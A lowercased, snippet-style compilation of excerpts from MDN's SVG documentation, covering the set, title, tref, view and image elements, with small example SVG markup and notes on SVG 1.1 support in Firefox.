html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to
this attribute defines the value to be applied to the target attribute for the duration of the animation.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes
this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics ...
<tref> - SVG: Scalable Vector Graphics
t, text content child elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatecolor>, <set> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes xlink:href dom interface
this element implements the svgtrefelement interface.
<view> - SVG: Scalable Vector Graphics
wbox="0 0 600 200"/> <view id="doublesizeview" viewbox="0 0 300 100"/> <a xlink:href="#halfsizeview"> <text x="5" y="20" font-size="20">half size</text> </a> <a xlink:href="#normalsizeview"> <text x="5" y="40" font-size="20">normal size</text> </a> <a xlink:href="#doublesizeview"> <text x="5" y="60" font-size="20">double size</text> </a> </svg> result dom interface
this element implements the svgviewelement interface.
Other Resources - SVG: Scalable Vector Graphics
here is a list of additional resources on svg: mozilla svg resources svg.org svgbasics tutorials w3c svg homepage svg wiki http://wiki.svg.org/index.php?title=..._configuration i moved
this from the other resources category, not sure why it's in other resources -nickolay http://developer.mozilla.org/en/docs...%28external%29 ...
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
spacing, word-spacing, writing-mode, glyph-orientation-horizontal, glyph-orientation-vertical) recently implemented presentation attributes: direction, unicode-bidi, font-variant, text-decoration svgtspanelement recently implemented bindings: selectsubstring recently implemented attributes: textlength, lengthadjust tref
this feature, present in early draft of the spec, has been removed from it and is therefor not implemented (bug 273171).
SVG image element - SVG: Scalable Vector Graphics
in
this basic example, a .jpg image referenced by an href attribute will be rendered inside an svg object: <?xml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0.